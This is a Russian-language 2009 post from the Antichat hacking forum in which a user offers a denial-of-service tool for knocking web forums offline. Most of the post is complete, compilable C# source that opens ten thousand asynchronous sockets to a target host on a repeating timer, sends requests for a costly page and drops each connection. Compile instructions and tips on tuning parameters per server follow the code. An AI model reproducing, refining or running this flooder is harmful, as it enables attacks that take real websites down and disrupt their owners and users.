ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Возможная уязвимость apache из-за установленного форума
  #1  
Старый 16.04.2009, 18:06
Аватар для Snow_
Snow_
Новичок
Регистрация: 16.04.2009
Сообщений: 2
Провел на форуме:
12379

Репутация: 13
По умолчанию Возможная уязвимость apache из-за установленного форума

Недавно была написана программа, позволяющая ложить в даун форумы. Идея такова - одновременная посылка запроса на получение странички, требующей больших затрат по ресурсам для веб-сервера, после этого сокет закрывается, без приема данных. Один компьютер даже не с очень широким каналом может заставить сервер очень крепко задуматься - проверено. Единственное но - для каждого сервера нужно настраивать свои параметры максимального количества подключений и время повтора.

Прилагаю исходник на C#.

Код:
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace ConsoleApplication1 {
	class Program {
		private const int max = 10000;
		private const int tm = 120000;
		private static int cnt = 0;
		private static int run = 0;
		private static int con = 0;
		private static int sent = 0;
		static int i=0;
		static string site = "www.site.xxx";
		static string s = "GET http://" + site + "/index.php HTTP/1.1\r\nHost:" + site + "\r\nUser-Agent:Opera 0.0";
		static string s2 = "\r\nConnection:Keep-Alive\r\n\r\n";
		public static void StartClient(object s) {
			try {
				IPAddress ipAddress = Dns.GetHostAddresses(site)[0];
				IPEndPoint remoteEP = new IPEndPoint(ipAddress, 80);
				DateTime st = DateTime.Now;
				Socket[] sender = new Socket[max];
				for (int i = 0; i < max; i++) {
					sender[i] = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
				}
				for (int i = 0; i < max; i++) {
					try {
						run++;
						sender[i].BeginConnect(remoteEP, new AsyncCallback(conncb), sender[i]);
					} catch (ArgumentNullException ane) {
						Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
					} catch (SocketException se) {
						Console.WriteLine("SocketException : {0}", se.ToString());
					} catch (Exception e) {
						Console.WriteLine("Unexpected exception : {0}", e.ToString());
					}
				}
				TimeSpan ts = DateTime.Now - st;
				cnt++;
				if (cnt % 1 == 0) {
					Console.WriteLine(ts.TotalSeconds);
					Console.WriteLine("R:{0} C:{1} S:{2}", run, con, sent);
				}
			} catch (Exception e) {
				Console.WriteLine(e.ToString());
			}
		}
		static void conncb(IAsyncResult ar) {
			Socket client = (Socket)ar.AsyncState;
			try {
				client.EndConnect(ar);
				con++;
				byte[] b = System.Text.Encoding.ASCII.GetBytes(s + i.ToString() + s2);
				i++;
				client.BeginSend(b, 0, b.Length, 0, new AsyncCallback(sendcb), client);
			} catch (Exception e) {
				client.Close();
			}
		}
		static void sendcb(IAsyncResult ar) {
			Socket client = (Socket)ar.AsyncState;
			try{
				client.EndSend(ar);
				sent++;
			} catch (Exception e) {
			}
			client.Shutdown(SocketShutdown.Both);
			client.Close();
		}
		static void Main(string[] args) {
			object s = new object();
			TimerCallback tc = new TimerCallback(StartClient);
			Timer t = new Timer(tc, s, 0, tm);
			Console.ReadKey();
		}
	}
}
Еще в данной программе не хватает отслеживания количества задействованных сокетов для оптимизации выполнения на компьютере (при длительном времени выполнения загрузка идет до 100%). Так что рассматривайте ее не как готовый вариант, а идею, которую можно использовать для доработки.

P.S. То, что программа написана на C# не имеет значения, ее можно адаптировать под любой язык и на любой уровень, требуются только асинхронные сокеты и все.

Удобства именно C# заключаются в том, что скомпилировать можно на любом компьютере с наличием установленной библиотеки Framework.NET
Для этого сохранить код в текстовый файл с названием например test.cs и запустить в командной строке следующее:

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\csc. exe путь_к_файлу_test.cs /r:System.dll
На warning's внимания можно не обращать, программа все равно будет работать.

Последний раз редактировалось Snow_; 16.04.2009 в 18:24..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
форумные движки: обзор и обсуждение nerezus ПО для Web разработчика 61 29.04.2010 10:08
Раскрутка форума. GrinGoO Статьи 0 29.03.2009 09:17
Начальная настройка Apache Grinder Чужие Статьи 7 21.06.2006 21:24
А нафига публиковать инфу о том как ломать чаты. Егорыч+++ Чаты 52 14.11.2005 20:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ